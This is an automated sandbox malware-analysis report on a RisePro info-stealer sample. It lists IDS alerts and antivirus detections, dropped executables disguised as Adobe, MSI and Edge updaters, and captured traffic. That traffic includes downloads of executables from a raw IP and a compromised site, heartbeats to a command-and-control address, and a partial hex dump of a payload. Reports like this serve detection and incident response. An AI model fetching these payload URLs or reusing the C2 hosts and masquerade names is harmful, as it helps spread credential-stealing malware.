ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 193.233.132.47 - Destination IP: 192.168.2.5

Timestamp:	04/22/24-01:17:57.772067
SID:	2046266
Source Port:	50500
Destination Port:	49707
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile - Source IP: 192.168.2.5 - Destination IP: 193.233.132.175

Timestamp:	04/22/24-01:18:04.543344
SID:	2019714
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053

Multi AV Scanner detection for domain / URL

Source: http://193.233.132.175/server/k/l2.exe

Virustotal: Detection: 19%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe	Virustotal: Detection: 80%	Perma Link
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Virustotal: Detection: 80%	Perma Link

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 31%

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.220.53:443 -> 192.168.2.5:49720 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_07142EAD GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	0_2_07142EAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0715CCFD FindFirstFileExW,	0_2_0715CCFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0710B2C0 FindFirstFileA,CreateDirectoryA,GetLastError,CopyFileA,GetLastError,CopyFileA,GetLastError,CopyFileA,GetLastError,FindNextFileA,FindClose,GetLastError,	0_2_0710B2C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0710BAC0 FindFirstFileA,SetFileAttributesA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,	0_2_0710BAC0

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.5:49707 -> 193.233.132.47:50500
Source: Traffic	Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 193.233.132.47:50500 -> 192.168.2.5:49707
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 193.233.132.47:50500 -> 192.168.2.5:49707
Source: Traffic	Snort IDS: 2046268 ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings) 192.168.2.5:49707 -> 193.233.132.47:50500
Source: Traffic	Snort IDS: 2019714 ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile 192.168.2.5:49710 -> 193.233.132.175:80

Source: global traffic

TCP traffic: 192.168.2.5:49707 -> 193.233.132.47:50500

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.22.1Date: Sun, 21 Apr 2024 23:18:04 GMTContent-Type: application/octet-streamContent-Length: 4563640Last-Modified: Fri, 19 Apr 2024 15:26:27 GMTConnection: keep-aliveETag: "66228d23-45a2b8"Accept-Ranges: bytesData Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 a9 4d d8 61 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 1d 00 18 00 00 00 5e 19 00 00 00 00 00 c8 80 77 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 7d 00 00 02 00 00 6d 1a 46 00 02 00 00 85 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 80 77 00 c8 00 00 00 00 90 77 00 7c f6 05 00 00 00 00 00 00 00 00 00 00 8a 45 00 b8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 80 77 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 70 77 00 00 10 00 00 00 82 3f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 32 0c 00 00 00 80 77 00 00 0e 00 00 00 84 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 7c f6 05 00 00 90 77 00 00 f8 05 00 00 92 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 77 07 ae 80 3f 00 20 05 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 60 06 2e 19 84 3d c1 98 07 18 3f b1 8a c8 06 21 97 5a 9f 17 26 49 ef d7 89 87 a0 7f f8 9c 1a 49 31 38 ab c9 5a 21 b9 88 59 1b ae 73 bb 19 eb 5b 51 58 ea b8 cf f9 ca 61 e9 ea fc d8 84 59 59 a3 81 db 8e 29 e7 76 bc d0 d2 e2 0b 6e c0 ce 18 8d 84 c5 87 7c 29 a6 0c ed c1 5e 66 bf 07 2b e3 8a 3e 03 98 38 34 68 38 32 67 b0 86 8a 3e 2a b4 68 62 5c b0 a7 9b 45 96 28 ad 78 ba dd 89 a6 ce bc d5 40 b7 38 5f c9 39 ec 34 55 10 6d 18 ec 27 8d 73 cb c6 0f d8 05 bc 23 ff 88 ab da b9 96 30 33 fc b8 00 a9 fc 92 1d 4f c4 e7 90 5d 60 12 9b 53 32 db b8 40 23 0f c7 03 0e ab 10 fd b8 f2 6f 46 7e 9e 2a fd 52 a1 c1 51 7f d0 71 be 6f 98 79 6e fb c1 da 4f 41 40 7c 1f ec 12 e5 67 c5 d8 1f 46 b5 b1 d2 97 12 30 90 6a b0 c9 1f 1e a8 e1 11 73 2f 0b e5 48 af 0a 2b 20 30 43 da 21 be 8e ec f6 37 73 ee f1 5e 48 2c 1a 0b be 82 1d a8 20 0e ce 7b 8d f5 c5 f5 e3 da 80 c7 b4 ba 02 87 94 03 b5 02 97 44 af ba e5 e0 f5 bf 72 12 49 97 0b 2c 7c 8b 1d ae 9b bd d0 7f a8 75 84 36 ba bb 9e 15 0a be 45 3e 71 de d7 7d 7f dc d8 99 86 67 a0 c3 29 e4 8b 55 fe e5 4d 45 98 27 d7 91 6a 7d f4 1a 1a c6 e0 91 00 ee f6 37 5e 0a 8d

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 104.26.5.15 104.26.5.15
Source: Joe Sandbox View	IP Address: 193.233.132.175 193.233.132.175
Source: Joe Sandbox View	IP Address: 193.233.132.175 193.233.132.175

Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /wp-content/upgrade/k.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: easy2buy.aeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.175Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.175Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.175
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.175
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.175
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.175
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.175
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.47

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BA23C0 recv,recv,recv,recv,recv,recv,setsockopt,recv,recv,__Xtime_get_ticks,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,Sleep,recv,Sleep,

0_2_00BA23C0

Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.57.52 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.57.52 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /wp-content/upgrade/k.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: easy2buy.aeCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /server/k/l2.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 193.233.132.175Cache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: ipinfo.io

Source: file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.175/server/k/l2.exe
Source: file.exe, 00000000.00000002.4492597224.000000000172E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2255465560.000000000172B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.175/server/k/l2.execom
Source: file.exe, 00000000.00000002.4493848204.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.175/server/k/l2.exev
Source: file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: file.exe, 00000000.00000002.4493331153.0000000003337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.exif/1U
Source: file.exe, 00000000.00000002.4493331153.0000000003337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.microsofo/1.2/
Source: file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: file.exe, 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.4492597224.000000000172E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2255465560.000000000172B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: file.exe, 00000000.00000002.4492597224.000000000172E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2255465560.000000000172B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4492597224.00000000016F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.57.52
Source: file.exe, 00000000.00000002.4492597224.00000000016E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=81.181.57.52z
Source: file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000002.4494156670.000000000666F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae/
Source: file.exe, 00000000.00000003.2282645633.00000000066A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4492597224.000000000172E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2255465560.000000000172B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4494156670.000000000666F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae/wp-content/upgrade/k.exe
Source: file.exe, 00000000.00000002.4492597224.000000000172E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2255465560.000000000172B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae/wp-content/upgrade/k.exei
Source: file.exe, 00000000.00000002.4494156670.0000000006694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282645633.00000000066A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae:80/wp-content/upgrade/k.exe
Source: file.exe, 00000000.00000002.4494156670.0000000006694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282645633.00000000066A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://easy2buy.ae:80/wp-content/upgrade/k.exey4
Source: file.exe, 00000000.00000002.4492597224.0000000001691000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4492597224.00000000016D4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4492597224.000000000172E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2255465560.000000000172B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: file.exe, 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://ipinfo.io/Content-Type:
Source: file.exe, 00000000.00000002.4492597224.00000000016D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: file.exe, 00000000.00000002.4492597224.00000000016BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/j
Source: file.exe, 00000000.00000002.4492597224.0000000001691000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/sR
Source: file.exe, 00000000.00000002.4492597224.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4492597224.00000000016D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.57.52
Source: file.exe, 00000000.00000002.4492597224.00000000016AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.57.52J-
Source: file.exe, 00000000.00000002.4492597224.00000000016D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/81.181.57.52e
Source: file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2107651287.00000000062F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.4493848204.0000000006306000.00000004.00000020.00020000.00000000.sdmp, Xfp4MT9n1IFhi1hjXC4bx59.zip.0.dr	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: file.exe, 00000000.00000003.2282613958.000000000172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot
Source: file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2104662716.0000000006658000.00000004.00000020.00020000.00000000.sdmp, H4VYK_JIpU1TWeb Data.0.dr, EdetWCNLNo9NWeb Data.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000002.4491758159.0000000000C32000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
